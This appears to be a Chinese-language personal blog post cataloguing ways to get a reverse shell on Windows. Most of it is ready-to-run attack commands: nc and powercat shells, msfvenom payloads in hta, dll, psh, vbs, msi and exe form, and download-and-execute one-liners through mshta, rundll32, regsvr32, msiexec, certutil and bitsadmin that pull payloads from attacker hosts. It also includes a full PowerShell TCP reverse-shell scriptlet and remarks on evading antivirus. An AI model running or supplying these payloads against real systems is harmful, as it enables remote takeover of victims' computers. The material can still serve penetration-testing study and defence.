windwos反弹shell

反弹shell 简介

正向shell

正向shell:控制端主动发起连接请求去连接被控制端,中间网络链路不存在阻碍。

image-20240206195815095

反向shell

反向shell(反弹shell):被控端主动发起连接请求去连接控制端,通常被控端由于防火墙限制、 权限不足、端口被占用等问题导致被控端不能正常接收发送过来的数据包。

image-20240206200927799

反弹shell的方式

nc

正向

这种方式的话,需要考虑对方的主机是否存在nc

1
2
3
被控端:nc -lvvp 6666 -e cmd.exe
控制端:nc 192.168.1.106 6666
原理:被控端将cmd.exe重定向到本地的6666端口,控制端主动连接被控端的6666端口,即可获得shell

反向

1
2
3
控制端:nc -lvvp 7777
被控端:nc -e cmd.exe 192.168.1.105 7777
原理:被控端将cmd.exe重定向到控制端的7777端口,控制端只需要监听本地的7777端口,即可获得shell

image-20240206202448832

注意使用cmd连接有问题,建议使用powershell.exe,连接的过程中需要手动确认一下,在攻击机这边输入

msf中hta_server模块(mshta加载hta)

1
2
3
4
5
search hta_server
use
set target 设置为64位程序
set payload windwos/x64/metepreter/reverse_tcp
set lport 20010

image-20240206205131654

使用mshta加载这个

image-20240206205154705

成功反弹,只是火绒对网络的管控比较严格

msf+nc+mshta

首先在payload 这边应该使用大马,也就是非分段式的

1
msfvenom -p windows/x64/shell_reverse_tcp lport=8.130.123.25 lport=9999 -f hta-psh > 9999.hta

然后在大马的文件之下执行http.server

并且使用nc 监听payload 的指定的端口

然后受害机器使用mshta加载

1
mshta http://192.168.79.138:8000/9999.hta

image-20240206210940202

这个的原理就是使用powershell加载,但是由于xp并没有powershell所以没有办法实现

cs 反弹shell

不多说老朋友了

dll文件

先生成一个payload 文件格式是dll

先生成一个payload用于反弹shell

1
msfvenom -p windows/x64/shell_reverse_tcp lhost=192.168.79.138 lport=9999 -f dll > 9999.dll

然后使用handler监听

使用dll文件有两种方式

  • 本地加载

    1
    2
    powershell.exe -c "(New-Object System.NET.WebClient).DownloadFile('http://192.168.79.138:8000/mingy.dll',\"c:\august.dll\")"
    rundll32 shell32.dll,Control_RunDLL C:\august.dll

    注意dll文件执行的时候必须是绝对路径

  • smb服务加载

    首先需要安装smbserver用于开启smb服务

    1. clone

      1
      git clone https://github.com/fortra/impacket.git
    2. 安装依赖

      1
      pip install -r requiment.txt
    3. 添加为系统执行

      1
      python setup.py install 
    4. 开启一个服务

      低版本,在win11废除

      1
      smbserver.py dll(服务名) 9999.dll(文件名)

      高版本

      1
      smbserver.py dll 9999.dll -smb2support
    5. 受害者,只用这个

      1
      net use \\192.168.79.138

      image-20240206225252744

      1
      rundll32.exe shell32.dll,Control_RunDLL \\192.168.79.138\dll\9999.dll

Metasploit SMB Delivery

通过Metasploit的SMB Delivery模块发起Rundll32攻击

1
2
3
4
use exploit/windows/smb/smb_delivery
msf exploit(windows/smb/smb_delivery) > set srvhost 192.168.78.117
msf exploit(windows/smb/smb_delivery) > exploit –j
rundll32.exe \\192.168.78.117\GylDS\test.dll,0

加载时出现了问题,

利用Rundll32加载hta反弹shell

1
2
3
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=139.155.49.43 lport=7777 -f hta-psh > 44.hta
bitsadmin /transfer shell http://139.155.49.43/44.hta C:\windows\temp\44.hta
rundll32.exe url.dll,OpenURL 44.hta

Regsvr32

Regsvr32.exe是一个命令行应用程序,是 Windows 系统提供的用来向系统注册控件或者卸载控 件的命令,如Windows注册表中的dll和ActiveX控件。

Regsvr32.exe安装在Windows XP和Windows后续版本的 %systemroot%\System32 文件夹中。

使用语法

1
2
3
4
5
语法:Regsvr32 [/s] [/u] [/n][/i[:cmdline]] <dllname>
/u - 注销服务器
/i - 调用DllInstall传递一个可选的[cmdline];当它与/u一起使用时,它调用dll来卸载
/n - 不要调用DllRegisterServer; 此选项必须与/i一起使用
/s - 沉默; 不显示消息框

本地调用计算器

cmd.sct

1
2
3
4
5
6
7
8
9
10
11
12
<?XML version="1.0"?>
<scriptlet>
<registration
progid="PoC"
classid="{F0001111-0000-0000-0000-0000FEEDACDC}" >
<script language="JScript">
<![CDATA[
var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
]]>
</script>
</registration>
</scriptlet>

regsvr32.exe /n /s /u /i:cmd.sct scrobj.dll(系统自带的文件)

反弹shell只需要将前面执行计算器的指令换成执行反弹shell的就好了

1
2
3
4
5
6
7
8
9
10
11
<?XML version="1.0"?>
<scriptlet>
<registration progid="PoC" classid="{F0001111-0000-0000-0000-0000FEEDACDC}" >
<script language="JScript">
<![CDATA[
var r = new ActiveXObject("WScript.Shell").Run('powershell -w Hidden -c "$client = New-Object System.Net.Sockets.TCPClient(\'192.168.79.138\',10000);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + \'PS \' + (pwd).Path + \'> \';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"');

]]>
</script>
</registration>
</scriptlet>

image-20240207093842891

反弹成功

远程执行加载,将srt文件放入http.server服务器里

然后使用远程加载的方式执行

然后受害者执行

1
regsvr32.exe /n /s /u /i:http://192.168.79.138:8000/cmd.sct scrobj.dll

image-20240207094703089

完美反弹shell

powershell

psh

  1. 使用msfvenom生成一个payload(psh)

    1
    msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.79.138 LPORT=10000 -f psh > 10000.ps1
  2. 开启http服务

  3. 使用受害机远程加载

    1
    powershell.exe -c "iex (new-object system.net.webclient).downloadstring('http://192.168.79.138:8000/10000.ps1');10000.ps1";  

    image-20240207102546441

psh-reflection

和上面的基本一致,只是生成的脚本不一致而已,然后执行的时候可以不用分号后面添加脚本的名字

image-20240207103108325

1
2
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.79.138 LPORT=10000 -f   psh-reflection -o 10000.ps1

执行

1
powershell.exe -c "iex (new-object system.net.webclient).downloadstring('http://192.168.79.138:8000/10000.ps1')";  

PowerShell加载Powercat

  1. 下载powercat

    powercat 就是使用.NET框架写的nc 和nc的使用完全一致

    1
    git clone https://github.com/besimorhino/powercat.git
  2. 在powercat的路径开启http.server

  3. 受害者执行

    1
    powershell.exe -c "iex (new-object system.net.webclient).downloadstring('http://192.168.79.138:8000/powercat.ps1');powercat -c 192.168.79.138 -p 10000 -e powershell";  

image-20240207104452006

反弹成功

PowerShell启动Cscript

少用不能免杀

  1. 生成一个payload

    1
    msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.79.138 LPORT=10000 -f   vbs -o 10000.vbs
  2. 上传到http.server上

  3. 远程加载

    1
    powershell.exe -c "(New-Object System.NET.WebClient).DownloadFile('http://139.155.49.43:8000/3.vbs',\"$env:temp\test.vbs\");Start-Process %windir%\system32\cscript.exe \"$env:temp\test.vbs\""

msiexec

msi文件格式

  1. 先生成一个payload

    1
    msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.79.138 LPORT=10000 -f msi -o 10000.msi
  2. 开启http.server的服务

  3. 然后远程访问

    1
    msiexec.exe /q /i http://192.168.79.138:8000/10000.msi 

image-20240207112047416

exe + 升级msf session + handler监听

原理

使用handler监听和nc监听是一样的

  1. 生成一个paylod

    1
    msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.79.138 LPORT=10000 -f exe -o 10000.exe

    这个方式不是metepreter ,只是一个Shell

    后续可以通过升级的方式升级成为metepreter

  2. 使用msf监听

  3. 下载到受害机,并且执行

    这里使用certutil执行

    1
    certutil.exe -urlcache -split -f http://192.168.79.138/10000.exe c:\windows\temp\44.exe & start c:\windows\temp\44.exe

    image-20240207135558597

    成功下载文件,并且执行

  4. 反弹

    image-20240207135710179

    但是我们想反弹那到msf handler 上面

    image-20240207135859435

    升级session 这里的session是只有一个shell

    image-20240207140004307

    就多一个session

    image-20240207140034057


windwos反弹shell
https://tsy244.github.io/2024/02/06/渗透/windwos反弹shell/
Author
August Rosenberg
Posted on
February 6, 2024
Licensed under